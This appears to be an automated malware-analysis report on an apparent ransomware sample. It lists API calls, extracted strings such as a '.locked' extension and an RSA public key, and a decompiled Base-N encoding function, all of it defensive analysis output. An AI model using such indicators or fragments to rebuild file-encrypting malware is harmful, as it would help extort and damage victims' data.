0x000905e4
0x000905e4
0x000905ff
0x00090605
0x0009060b
0x0009060d
0x00090611
0x00090616
0x00090616
0x00090619
0x00090623
0x00090629
0x0009062f
0x00090631
0x00090637
0x00090639
0x00090640
0x00090645
0x0009064b
0x0009064d
0x00090653
0x0009063b
0x0009063b
0x0009063b
0x00090656
0x0009065c
0x00090662
0x00090664
0x00090668
0x0009066d
0x0009066d
0x00090676
0x0009067c
0x00090686
0x00090690
0x0009069a
0x000906b0
0x000906ba
0x000906bf
0x000906c1
0x000906c6
0x000906cb
0x000906d1
0x000906d3
0x000906d7
0x000906dc
0x000906df
0x000906ee
0x000906f2
0x000906f7
0x00090700
0x00090707
0x0009071b
0x0009071f
0x00090724
0x0009072a
0x00090734
0x0009073e
0x00090740
0x00090746
0x00090746
0x00090748
0x00090752
0x0009075c
0x00090766
0x00090770
0x0009077a
0x00090785
0x00090792
0x0009079e
0x000907c2
0x000907c8
0x000907ce
0x000907d4
0x000907da
0x0009044f
0x0009044f
0x00090455
0x0009045b
0x0009045d
0x00090463
0x0009046d
0x0009046f
0x00090473
0x00090477
0x00090479
0x00090480
0x00090486
0x00090486
0x00090482
0x00090482
0x00090484
0x00000000
0x00000000
0x00090484
0x00090480
0x000904a3
0x000904b3
0x000904be
0x000904c0
0x000904c5
0x000904cb
0x000904ce
0x000904d4
0x000904da
0x000904dc
0x000904e6
0x000904e9
0x000904ea
0x000904ea
0x000904ef
0x000904f0
0x000904f8
0x000904fe
0x00090507
0x0009050a
0x00090510
0x00090515
0x00000000
0x0009051b
0x0009051b
0x0009051b
0x00000000
0x000904de
0x000904de
0x000904e4
0x00000000
0x00000000
0x000904e4
0x000904dc
0x00000000
0x00090465
0x00090465
0x00090467
0x00000000
0x00000000
0x00090467
0x00090463
0x000907e5
0x000907eb
0x000907ee
0x000907f1
0x000907f6
0x00090bb9
0x000907fc
0x000907fc
0x000907fc
0x0009080f
0x00090818
0x0009081d
0x00090825
0x00090831
0x00090842
0x00090849
0x0009084e
0x00090852
0x00090854
0x00090862
0x00090870
0x0009087a
0x00090889
0x00090896
0x0009089d
0x000908a1
0x000908af
0x000908b5
0x000908cd
0x000908d9
0x000908df
0x000908e5
0x000908ef
0x000908f9
0x000908fb
0x00090901
0x00090901
0x00090909
0x00090913
0x0009091d
0x00090927
0x00090931
0x0009093c
0x00090944
0x000909c8
0x000909cb
0x000909d3
0x000909de
0x000909e9
0x000909ee
0x000909f4
0x000909fe
0x00090a08
0x00090a0a
0x00090a10
0x00090a10
0x00090a12
0x00090b4b
0x00090b52
0x00090b55
0x00090b59
0x00090b64
0x00090b64
0x00090b6f
0x00000000
0x00000000
0x00000000
0x0008fd5e
0x0008fd4e
0x0008fd3a
0x00090b79
0x00090b91

APIs

Part of subcall function 000ED2BB: __onexit.LIBCMT ref: 000ED2C1

Part of subcall function 000CA810: CryptGenRandom.ADVAPI32(00000000,D529E887,7757C452), ref: 000CA86A
Part of subcall function 000CA810: CryptReleaseContext.ADVAPI32(D529E887,00000000), ref: 000CA885
Part of subcall function 000CA810: __CxxThrowException@8.LIBVCRUNTIME ref: 000CA8CB

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBAD
Part of subcall function 000ADB10: __CxxThrowException@8.LIBVCRUNTIME ref: 000ADBDB
Part of subcall function 000ADB10: ___std_exception_copy.LIBVCRUNTIME ref: 000ADC32

Part of subcall function 000AAB90: GetFileAttributesW.KERNELBASE(?,D529E887,?,?,?,?,?,?,00133E80,000000FF,?,00055195), ref: 000AABD2
Part of subcall function 000AAB90: CreateFileW.KERNEL32(?,00000000,00000007,00000000,00000003,02000000,00000000), ref: 000AAC5B
Part of subcall function 000AAB90: CloseHandle.KERNEL32(00000000), ref: 000AACB3
Part of subcall function 000AAB90: CloseHandle.KERNEL32(00000000), ref: 000AACC3

Part of subcall function 000AA700: GetFileAttributesW.KERNEL32(?,?,7757EEF2,7757EEF2,00090133,?,000001B6,00000000,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA735
Part of subcall function 000AA700: GetLastError.KERNEL32(?,?,00000001,?,?,?,00000000,00000010,?,?,?,?,?,D529E887,7757C452,00000000), ref: 000AA741
Part of subcall function 000AA700: SetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA790
Part of subcall function 000AA700: GetLastError.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA79A

GetFileAttributesExW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,00000001,?,?,?,00000000), ref: 000901C2

Part of subcall function 000AAAC0: MoveFileExW.KERNEL32(?,?,00000003), ref: 000AAAE2
Part of subcall function 000AAAC0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AAAEC

Part of subcall function 000B3DE0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3E34

Part of subcall function 000B3B40: __CxxThrowException@8.LIBVCRUNTIME ref: 000B3B9E

Part of subcall function 000C86F0: __aulldvrm.LIBCMT ref: 000C871F

Part of subcall function 000B1090: __CxxThrowException@8.LIBVCRUNTIME ref: 000B11F7

Part of subcall function 000B0F10: __CxxThrowException@8.LIBVCRUNTIME ref: 000B1085

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 0008EE00: GetProcAddress.KERNEL32(7757C452,00000000,D529E887,?,?,?,?,?,?,00000000,00130AC8,000000FF,?,00094BD5,RmGetList,D529E887), ref: 0008EE33
Part of subcall function 0008EE00: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,00130AC8,000000FF,?,00094BD5,RmGetList,D529E887), ref: 0008EE96

Strings

InputBuffer, xrefs: 0008FFED
NtReadFile, xrefs: 0008FE60
internal error, xrefs: 0008FD9F
goga, xrefs: 0008FF02
RtlInitUnicodeString, xrefs: 0008FEBA
NtOpenFile, xrefs: 0008FE06
), xrefs: 00090990
.locked, xrefs: 00090133
GOGA1510, xrefs: 000908AF, 000908B9
NtClose, xrefs: 0008FE33
NtWriteFile, xrefs: 0008FE8D
@, xrefs: 000903B2
MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDLscAMf6QMU0OLT967Q0oMVN/9xRbC6Ymz HVVE05zgpDJRQQLmPPYcPnehaeynF8HGFYbRIEaD0pk4WZwGPLtcRaYuQS1M6v+2j4Vp8faA woNdi7+jI2xw0kQao29FJ8WUQDvrPqODALf8bjiOIO7f1Nc5g9vOEbWyCA1w/vbaVwIBEQ==, xrefs: 0008FFC9
ntdll.dll, xrefs: 0008FD02
\??\\, xrefs: 000902B3, 000902D1
FAILED , xrefs: 0009099B

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$File$AttributesErrorLast$CloseCryptHandle$AddressContextCreateFeatureMovePresentProcProcessorRandomRelease___raise_securityfailure___std_exception_copy__aulldvrm__onexit
String ID: FAILED $ MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDLscAMf6QMU0OLT967Q0oMVN/9xRbC6Ymz HVVE05zgpDJRQQLmPPYcPnehaeynF8HGFYbRIEaD0pk4WZwGPLtcRaYuQS1M6v+2j4Vp8faA woNdi7+jI2xw0kQao29FJ8WUQDvrPqODALf8bjiOIO7f1Nc5g9vOEbWyCA1w/vbaVwIBEQ==$)$.locked$@$GOGA1510$InputBuffer$NtClose$NtOpenFile$NtReadFile$NtWriteFile$RtlInitUnicodeString$\??\\$goga$internal error$ntdll.dll
API String ID: 3953581003-3102259986
Opcode ID: 3080fc80ed2e684df7965af9be29d7868134abbc5e6212d86d6b91e361b6782c
Instruction ID: 13111e0c2389cb4ad6c914b6e478ab5a107261356fa185d10c86b3c90812fb95
Opcode Fuzzy Hash: 3080fc80ed2e684df7965af9be29d7868134abbc5e6212d86d6b91e361b6782c
Instruction Fuzzy Hash: 69925670A002589FDF25DB64CD89BEEBBB9AF55304F1441D9E409B7282DBB06B88CF51

Uniqueness

Uniqueness Score: 100.00%

Function 000B44B0, Relevance: 30.2, APIs: 4, Strings: 13, Instructions: 440
UNIQUECrypto

Download Yara Rule

C-Code - Quality: 67%

			E000B44B0(intOrPtr* __ecx, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				char _v48;
				char _v52;
				char _v60;
				char _v72;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v108;
				char _v116;
				char _v120;
				char _v128;
				char _v132;
				char _v140;
				char _v144;
				char _v152;
				char _v156;
				char _v164;
				char _v165;
				signed char _v166;
				char _v168;
				void* _v172;
				signed int* _v176;
				intOrPtr _v180;
				signed int* _v188;
				void* _v192;
				char _v196;
				void* _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v216;
				void* _v220;
				char _v224;
				intOrPtr* _v400;
				char _v420;
				signed int _v424;
				intOrPtr* _v588;
				char _v600;
				char _v608;
				signed int _v612;
				signed int _v752;
				signed int _v756;
				intOrPtr _v760;
				signed int _v768;
				signed int _v772;
				char _v776;
				signed int _v780;
				signed int _v784;
				intOrPtr _v788;
				signed int _v796;
				signed int _v800;
				char _v804;
				void _v808;
				intOrPtr _v828;
				signed int _v832;
				void* __edi;
				signed int _t205;
				signed int _t206;
				void* _t211;
				void* _t213;
				void* _t215;
				void* _t217;
				signed int _t222;
				signed int _t223;
				signed int _t227;
				void* _t228;
				void* _t230;
				void* _t232;
				void* _t234;
				signed int _t239;
				signed int _t240;
				signed int _t244;
				void* _t245;
				void* _t247;
				void* _t249;
				char* _t251;
				signed int _t256;
				signed int _t257;
				signed int _t261;
				intOrPtr _t262;
				signed int* _t266;
				intOrPtr _t268;
				intOrPtr _t270;
				intOrPtr _t274;
				signed int _t280;
				void* _t281;
				void* _t283;
				void* _t285;
				void* _t287;
				signed int _t292;
				signed int _t294;
				intOrPtr _t300;
				void* _t304;
				signed int _t305;
				signed int _t306;
				signed int _t310;
				signed int _t319;
				signed int _t320;
				signed int _t327;
				signed int _t339;
				void* _t349;
				signed int* _t350;
				signed char _t353;
				signed int _t372;
				void* _t377;
				void* _t379;
				intOrPtr _t381;
				signed int* _t384;
				char* _t392;
				intOrPtr _t393;
				void* _t396;
				void* _t404;
				signed int _t411;
				signed int _t428;
				signed int _t441;
				signed int _t443;
				signed int _t447;
				intOrPtr _t450;
				char* _t451;
				char* _t452;
				char* _t453;
				signed int _t459;
				signed int _t462;
				signed int _t469;
				intOrPtr* _t470;
				intOrPtr* _t471;
				char* _t473;
				signed int _t478;
				signed int* _t480;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t486;
				void* _t488;
				void* _t489;
				signed int _t490;
				void* _t491;
				signed int _t492;
				signed int _t493;
				void* _t494;
				void* _t498;

				_push(0xffffffff);
				_push(0x134f23);
				_push( *[fs:0x0]);
				_t489 = _t488 - 0x8c;
				_t205 =  *0x16f170; // 0xd529e887
				_t206 = _t205 ^ _t483;
				_v20 = _t206;
				_push(_t206);
				 *[fs:0x0] =  &_v16;
				_t469 = _a8;
				_t450 = _a4;
				_push(_a12);
				_push(0x174650);
				_push(_t469);
				if( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 4))))() == 0) {
					_t211 = E00064B00( &_v84, _t450);
					_v8 = 0;
					_t213 = E0006CBA0( &_v108, _t211, ": missing required parameter \'");
					_v8 = 1;
					_t215 = E0006CBA0( &_v132, _t213, _t469);
					_v8 = 2;
					_t217 = E0006CBA0( &_v156, _t215, "\'");
					_t490 = _t489 + 0x24;
					_v8 = 3;
					E00059080(_t217);
					E001047B7( &_v60, 0x16c9bc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t484 = _t490;
					_t491 = _t490 - 0xb4;
					_t222 =  *0x16f170; // 0xd529e887
					_t223 = _t222 ^ _t484;
					_v200 = _t223;
					 *[fs:0x0] =  &_v196;
					_t451 =  &_v60;
					_t350 = _v176;
					_t227 =  *((intOrPtr*)( *((intOrPtr*)( *_t350 + 4))))("DecodingLookupArray", 0x174100, _t451 + 0x18, _t223, _t450, _t469, _t349,  *[fs:0x0], 0x134f81, 0xffffffff, _t483);
					__eflags = _t227;
					if(_t227 == 0) {
						L13:
						_t228 = E00064B00( &_v48, "BaseN_Decoder");
						_v12 = 0;
						_t230 = E0006CBA0( &_v152, _t228, ": missing required parameter \'");
						_v12 = 1;
						_t232 = E0006CBA0( &_v176, _t230, "DecodingLookupArray");
						_v12 = 2;
						_t234 = E0006CBA0( &_v200, _t232, "\'");
						_t492 = _t491 + 0x24;
						_v12 = 3;
						E00059080(_t234);
						E001047B7( &_v88, 0x16c9bc);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t485 = _t492;
						_t493 = _t492 - 0x90;
						_t239 =  *0x16f170; // 0xd529e887
						_t240 = _t239 ^ _t485;
						_v424 = _t240;
						 *[fs:0x0] =  &_v420;
						_t452 =  &_v88;
						_t470 = _v400;
						_t244 =  *((intOrPtr*)( *((intOrPtr*)( *_t470 + 4))))("EncodingLookupArray", 0x1713bc, _t452 + 0x18, _t240, _t451, _t469, _t350,  *[fs:0x0], 0x134fdb, 0xffffffff, _t484);
						__eflags = _t244;
						if(_t244 == 0) {
							_t245 = E00064B00( &_v52, "BaseN_Encoder");
							_v16 = 0;
							_t247 = E0006CBA0( &_v116, _t245, ": missing required parameter \'");
							_v16 = 1;
							_t249 = E0006CBA0( &_v140, _t247, "EncodingLookupArray");
							_v16 = 2;
							_t251 = E0006CBA0( &_v164, _t249, "\'");
							_t493 = _t493 + 0x24;
							_v16 = 3;
							goto L26;
						} else {
							_t350 = _t452 + 0x20;
							_push(_t350);
							_push("Log2Base");
							_push("BaseN_Encoder");
							E000B44B0(_t470);
							__eflags =  *_t350 - 1 - 6;
							if( *_t350 - 1 > 6) {
								E00064B00( &_v52, "BaseN_Encoder: Log2Base must be between 1 and 7 inclusive");
								_v16 = 4;
								_t251 =  &_v52;
								L26:
								E00059080(_t251);
								E001047B7( &_v92, 0x16c9bc);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_t486 = _t493;
								_t494 = _t493 - 0xc8;
								_t256 =  *0x16f170; // 0xd529e887
								_t257 = _t256 ^ _t486;
								_v612 = _t257;
								 *[fs:0x0] =  &_v608;
								_t453 =  &_v92;
								_t471 = _v588;
								_t261 =  *((intOrPtr*)( *((intOrPtr*)( *_t471 + 4))))("GroupSize", 0x174650,  &_v808, _t257, _t452, _t470,  *[fs:0x0], 0x13505f, 0xffffffff, _t485);
								_v760 = 0xffffffff;
								__eflags = _t261;
								_v756 = 0;
								_v752 = 0;
								_t372 =  !=  ? _v808 : 0;
								 *(_t453 + 0x38) = _t372;
								_v772 = 0;
								_v768 = 0;
								_v776 = 0;
								_v600 = 2;
								_v788 = 0xffffffff;
								_v784 = 0;
								_v780 = 0;
								_v800 = 0;
								_v796 = 0;
								_v804 = 0;
								_t262 =  *_t471;
								__eflags = _t372;
								_v600 = 5;
								_push( &_v776);
								_push(0x175c1c);
								_push("Separator");
								if(_t372 == 0) {
									 *((intOrPtr*)(_t262 + 4))();
									goto L31;
								} else {
									_t280 =  *((intOrPtr*)( *((intOrPtr*)(_t262 + 4))))();
									__eflags = _t280;
									if(_t280 == 0) {
										_t281 = E00064B00( &_v96, "Grouper");
										_v20 = 6;
										_t283 = E0006CBA0( &_v120, _t281, ": missing required parameter \'");
										_v20 = 7;
										_t285 = E0006CBA0( &_v144, _t283, "Separator");
										_v20 = 8;
										_t287 = E0006CBA0( &_v168, _t285, "\'");
										_t498 = _t494 + 0x24;
										_t392 =  &_v72;
										_v20 = 9;
										E00059080(_t287);
										E001047B7( &_v72, 0x16c9bc);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t486);
										_push(_t392);
										_push(_t350);
										_push(_t471);
										_t473 = _t392;
										_t393 = _v828;
										_push(_t453);
										_t459 = _v832;
										_t292 =  *(_t473 + 0x14);
										__eflags = _t292;
										if(_t292 == 0) {
											 *(_t473 + 0x10) = 0;
											goto L44;
										} else {
											_t310 = _t292 - 1;
											__eflags = _t310;
											if(_t310 == 0) {
												L57:
												_t306 = E000B2A80(_t473, 1,  *((intOrPtr*)(_t473 + 0x38)),  *((intOrPtr*)(_t473 + 0x20)), 0, _t393, 0x16f03c);
												__eflags = _t306;
												if(_t306 != 0) {
													_t404 =  *((intOrPtr*)(_t473 + 0x20)) -  *(_t473 + 0x10);
													__eflags = _t404 - 1;
													_t308 =  >  ? _t404 : 1;
													return  >  ? _t404 : 1;
												} else {
													_t393 = _v0;
													 *(_t473 + 0x28) = _t306;
													 *(_t473 + 0x24) = _t306;
													while(1) {
														L44:
														_t441 =  *(_t473 + 0x10);
														__eflags = _t441 - _v8;
														if(_t441 >= _v8) {
															break;
														}
														_t353 =  *( *((intOrPtr*)(_t473 + 0x18)) + ( *(_t441 + _v12) & 0x000000ff) * 4);
														_t393 = _v0;
														 *(_t473 + 0x10) = _t441 + 1;
														__eflags = _t353 - 0x100;
														if(_t353 >= 0x100) {
															continue;
														} else {
															_t462 =  *(_t473 + 0x24);
															__eflags = _t462;
															if(_t462 == 0) {
																__eflags =  *(_t473 + 0x28) - _t462;
																if( *(_t473 + 0x28) == _t462) {
																	E001053E0(_t462,  *((intOrPtr*)(_t473 + 0x38)), _t462,  *((intOrPtr*)(_t473 + 0x20)));
																	_t462 =  *(_t473 + 0x24);
																	_t498 = _t498 + 0xc;
																}
															}
															_t443 =  *((intOrPtr*)(_t473 + 0x1c)) +  *(_t473 + 0x28);
															_t300 =  *((intOrPtr*)(_t473 + 0x38));
															__eflags = _t443 - 8;
															if(_t443 > 8) {
																_t176 = _t443 - 8; // 0x13b780
																 *( *((intOrPtr*)(_t473 + 0x38)) + _t462) =  *( *((intOrPtr*)(_t473 + 0x38)) + _t462) | _t353 >> _t176;
																_t304 =  *(_t473 + 0x24) +  *((intOrPtr*)(_t473 + 0x38));
																_t182 = _t304 + 1;
																 *_t182 =  *(_t304 + 1) | _t353 << 0x00000010 - _t443;
																__eflags =  *_t182;
															} else {
																 *(_t300 + _t462) =  *(_t300 + _t462) | _t353 << 0x00000008 - _t443;
															}
															_t305 =  *(_t473 + 0x24);
															 *(_t473 + 0x28) = _t443;
															__eflags = _t443 - 8;
															if(_t443 >= 8) {
																do {
																	_t443 = _t443 - 8;
																	_t305 = _t305 + 1;
																	__eflags = _t443 - 8;
																} while (_t443 >= 8);
																 *(_t473 + 0x24) = _t305;
																 *(_t473 + 0x28) = _t443;
															}
															_t393 = _v0;
															__eflags = _t305 -  *((intOrPtr*)(_t473 + 0x20));
															if(_t305 !=  *((intOrPtr*)(_t473 + 0x20))) {
																continue;
															} else {
																goto L57;
															}
														}
														goto L65;
													}
													_t459 = _v4;
													__eflags = _t459;
													if(_t459 == 0) {
														goto L64;
													} else {
														goto L61;
													}
												}
											} else {
												__eflags = _t310 == 1;
												if(_t310 == 1) {
													L61:
													_t294 = E000B2A80(_t473, 2,  *((intOrPtr*)(_t473 + 0x38)),  *(_t473 + 0x24), _t459, _t393, 0x16f03c);
													__eflags = _t294;
													if(_t294 == 0) {
														 *(_t473 + 0x28) = 0;
														 *(_t473 + 0x24) = 0;
														L64:
														__eflags = 0;
														return 0;
													} else {
														_t396 =  *(_t473 + 0x24) -  *(_t473 + 0x10);
														__eflags = _t396 - 1;
														_t296 =  >  ? _t396 : 1;
														return  >  ? _t396 : 1;
													}
												} else {
													__eflags = 0;
													return 0;
												}
											}
										}
									} else {
										L31:
										 *((intOrPtr*)( *_t471 + 4))("Terminator", 0x175c1c,  &_v224);
										__eflags = _v196;
										if(_v196 == 0) {
											_t266 = _v188;
											_t377 = _v192;
										} else {
											_t266 = _v176;
											_t377 = _v172;
										}
										E00063600(_t377, _t266);
										__eflags = _v224;
										if(_v224 == 0) {
											_t268 = _v216;
											_t379 = _v220;
										} else {
											_t268 = _v204;
											_t379 = _v200;
										}
										E00063600(_t379, _t268);
										 *(_t453 + 0x3c) = 0;
										_t270 = _v208;
										_t381 = _v204;
										__eflags = _t270 - _t381;
										_t382 =  <  ? _t270 : _t381;
										_v20 = 0xa;
										memset(_v200, 0, ( <  ? _t270 : _t381) << 0);
										L000B3E40(_v200);
										_t274 = _v180;
										_t384 = _v176;
										__eflags = _t274 - _t384;
										_t385 =  <  ? _t274 : _t384;
										_v20 = 0xb;
										memset(_v172, 0, ( <  ? _t274 : _t384) << 0);
										L000B3E40(_v172);
										 *[fs:0x0] = _v28;
										__eflags = _v32 ^ _t486;
										return E000ECED8(_v32 ^ _t486);
									}
								}
							} else {
								_t319 =  *((intOrPtr*)( *((intOrPtr*)( *_t470 + 4))))("PaddingByte", 0x171448,  &_v166);
								__eflags = _t319;
								if(_t319 == 0) {
									L20:
									_t320 = _t319 | 0xffffffff;
									__eflags = _t320;
								} else {
									_t319 =  *((intOrPtr*)( *((intOrPtr*)( *_t470 + 4))))("Pad", 0x176030,  &_v165);
									__eflags = _t319;
									if(_t319 == 0) {
										L19:
										_t320 = _v166 & 0x000000ff;
									} else {
										__eflags = _v165;
										if(_v165 == 0) {
											goto L20;
										} else {
											goto L19;
										}
									}
								}
								_t478 =  *_t350;
								_t411 = 8;
								 *(_t452 + 0x1c) = _t320;
								asm("cdq");
								 *(_t452 + 0x2c) = 0;
								 *(_t452 + 0x28) = 0;
								__eflags = 8 % _t478;
								if(8 % _t478 != 0) {
									do {
										_t411 = _t411 + 8;
										_t327 = _t411;
										asm("cdq");
										__eflags = _t327 % _t478;
									} while (_t327 % _t478 != 0);
								}
								asm("cdq");
								 *(_t452 + 0x24) = _t411 / _t478;
								E00063580(_t452 + 0x30, _t411 / _t478);
								 *[fs:0x0] = _v24;
								__eflags = _v28 ^ _t485;
								return E000ECED8(_v28 ^ _t485);
							}
						}
					} else {
						_t480 = _t451 + 0x1c;
						_push(_t480);
						_push("Log2Base");
						_push("BaseN_Decoder");
						E000B44B0(_t350);
						_t469 =  *_t480;
						__eflags = _t469 - 1 - 6;
						if(_t469 - 1 > 6) {
							E00064B00( &_v48, "BaseN_Decoder: Log2Base must be between 1 and 7 inclusive");
							_v12 = 4;
							E00059080( &_v48);
							E001047B7( &_v128, 0x16c9bc);
							goto L13;
						} else {
							_t447 = _t469;
							 *(_t451 + 0x28) = 0;
							 *(_t451 + 0x24) = 0;
							_t339 = _t447 & 0x80000007;
							__eflags = _t339;
							if(__eflags < 0) {
								__eflags = (_t339 - 0x00000001 | 0xfffffff8) + 1;
							}
							while(__eflags != 0) {
								_t447 = _t447 + _t469;
								_t428 = _t447 & 0x80000007;
								__eflags = _t428;
								if(__eflags < 0) {
									__eflags = (_t428 - 0x00000001 | 0xfffffff8) + 1;
								}
							}
							asm("cdq");
							 *(_t451 + 0x20) = _t447 + (_t447 & 0x00000007) >> 3;
							E00063580(_t451 + 0x2c, _t447 + (_t447 & 0x00000007) >> 3);
							 *[fs:0x0] = _v20;
							__eflags = _v24 ^ _t484;
							return E000ECED8(_v24 ^ _t484);
						}
					}
				} else {
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t483);
				}
				L65:
			}

0x000b44b3
0x000b44b5
0x000b44c0
0x000b44c1
0x000b44c7
0x000b44cc
0x000b44ce
0x000b44d3
0x000b44d7
0x000b44e2
0x000b44e5
0x000b44e8
0x000b44ec
0x000b44f1
0x000b44f6
0x000b4519
0x000b4527
0x000b452f
0x000b4539
0x000b453e
0x000b454f
0x000b4554
0x000b4559
0x000b4560
0x000b4564
0x000b4572
0x000b4577
0x000b4578
0x000b4579
0x000b457a
0x000b457b
0x000b457c
0x000b457d
0x000b457e
0x000b457f
0x000b4581
0x000b4591
0x000b4597
0x000b459c
0x000b459e
0x000b45a8
0x000b45ae
0x000b45b0
0x000b45c8
0x000b45ca
0x000b45cc
0x000b468b
0x000b4693
0x000b46a4
0x000b46ac
0x000b46bd
0x000b46c2
0x000b46d3
0x000b46d8
0x000b46dd
0x000b46e4
0x000b46e8
0x000b46f6
0x000b46fb
0x000b46fc
0x000b46fd
0x000b46fe
0x000b46ff
0x000b4701
0x000b4711
0x000b4717
0x000b471c
0x000b471e
0x000b4728
0x000b472e
0x000b4730
0x000b4748
0x000b474a
0x000b474c
0x000b4841
0x000b484f
0x000b4857
0x000b4865
0x000b486a
0x000b487b
0x000b4880
0x000b4885
0x000b4888
0x00000000
0x000b4752
0x000b4752
0x000b4757
0x000b4758
0x000b475d
0x000b4762
0x000b476a
0x000b476d
0x000b4828
0x000b482d
0x000b4834
0x000b488c
0x000b4890
0x000b489e
0x000b48a3
0x000b48a4
0x000b48a5
0x000b48a6
0x000b48a7
0x000b48a8
0x000b48a9
0x000b48aa
0x000b48ab
0x000b48ac
0x000b48ad
0x000b48ae
0x000b48af
0x000b48b1
0x000b48c1
0x000b48c7
0x000b48cc
0x000b48ce
0x000b48d7
0x000b48dd
0x000b48df
0x000b48fa
0x000b48fe
0x000b4908
0x000b490a
0x000b4914
0x000b491e
0x000b4925
0x000b4928
0x000b4932
0x000b493c
0x000b4943
0x000b494a
0x000b4954
0x000b495e
0x000b4968
0x000b4972
0x000b497c
0x000b4983
0x000b4985
0x000b498d
0x000b4991
0x000b4992
0x000b4999
0x000b499e
0x000b49af
0x00000000
0x000b49a0
0x000b49a3
0x000b49a5
0x000b49a7
0x000b4aa4
0x000b4ab2
0x000b4ab7
0x000b4ac5
0x000b4aca
0x000b4adb
0x000b4ae0
0x000b4ae5
0x000b4ae9
0x000b4aec
0x000b4af0
0x000b4afe
0x000b4b03
0x000b4b04
0x000b4b05
0x000b4b06
0x000b4b07
0x000b4b08
0x000b4b09
0x000b4b0a
0x000b4b0b
0x000b4b0c
0x000b4b0d
0x000b4b0e
0x000b4b0f
0x000b4b10
0x000b4b13
0x000b4b14
0x000b4b15
0x000b4b16
0x000b4b18
0x000b4b1b
0x000b4b1c
0x000b4b22
0x000b4b22
0x000b4b25
0x000b4b44
0x00000000
0x000b4b27
0x000b4b27
0x000b4b27
0x000b4b2a
0x000b4bfb
0x000b4c0d
0x000b4c12
0x000b4c14
0x000b4c2c
0x000b4c30
0x000b4c33
0x000b4c3a
0x000b4c16
0x000b4c16
0x000b4c19
0x000b4c1c
0x000b4b4b
0x000b4b4b
0x000b4b4b
0x000b4b4e
0x000b4b51
0x00000000
0x00000000
0x000b4b61
0x000b4b67
0x000b4b6a
0x000b4b6d
0x000b4b73
0x00000000
0x000b4b75
0x000b4b75
0x000b4b78
0x000b4b7a
0x000b4b7c
0x000b4b7f
0x000b4b88
0x000b4b8d
0x000b4b90
0x000b4b90
0x000b4b7f
0x000b4b96
0x000b4b99
0x000b4b9c
0x000b4b9f
0x000b4baf
0x000b4bb9
0x000b4bc6
0x000b4bcb
0x000b4bcb
0x000b4bcb
0x000b4ba1
0x000b4baa
0x000b4baa
0x000b4bce
0x000b4bd1
0x000b4bd4
0x000b4bd7
0x000b4be0
0x000b4be0
0x000b4be3
0x000b4be4
0x000b4be4
0x000b4be9
0x000b4bec
0x000b4bec
0x000b4bef
0x000b4bf2
0x000b4bf5
0x00000000
0x00000000
0x00000000
0x00000000
0x000b4bf5
0x00000000
0x000b4b73
0x000b4c3d
0x000b4c40
0x000b4c42
0x00000000
0x00000000
0x00000000
0x00000000
0x000b4c42
0x000b4b30
0x000b4b30
0x000b4b33
0x000b4c44
0x000b4c55
0x000b4c5a
0x000b4c5c
0x000b4c77
0x000b4c7e
0x000b4c85
0x000b4c87
0x000b4c8d
0x000b4c5e
0x000b4c66
0x000b4c6a
0x000b4c6d
0x000b4c74
0x000b4c74
0x000b4b39
0x000b4b3b
0x000b4b41
0x000b4b41
0x000b4b33
0x000b4b2a
0x000b49ad
0x000b49b2
0x000b49c7
0x000b49ca
0x000b49d1
0x000b49e1
0x000b49e7
0x000b49d3
0x000b49d3
0x000b49d9
0x000b49d9
0x000b49f2
0x000b49f7
0x000b49fe
0x000b4a0e
0x000b4a14
0x000b4a00
0x000b4a00
0x000b4a06
0x000b4a06
0x000b4a1f
0x000b4a24
0x000b4a2b
0x000b4a31
0x000b4a37
0x000b4a41
0x000b4a44
0x000b4a4a
0x000b4a4d
0x000b4a52
0x000b4a58
0x000b4a5e
0x000b4a68
0x000b4a6b
0x000b4a74
0x000b4a77
0x000b4a82
0x000b4a8f
0x000b4a99
0x000b4a99
0x000b49a7
0x000b4773
0x000b478b
0x000b478d
0x000b478f
0x000b47c1
0x000b47c1
0x000b47c1
0x000b4791
0x000b47a9
0x000b47ab
0x000b47ad
0x000b47b8
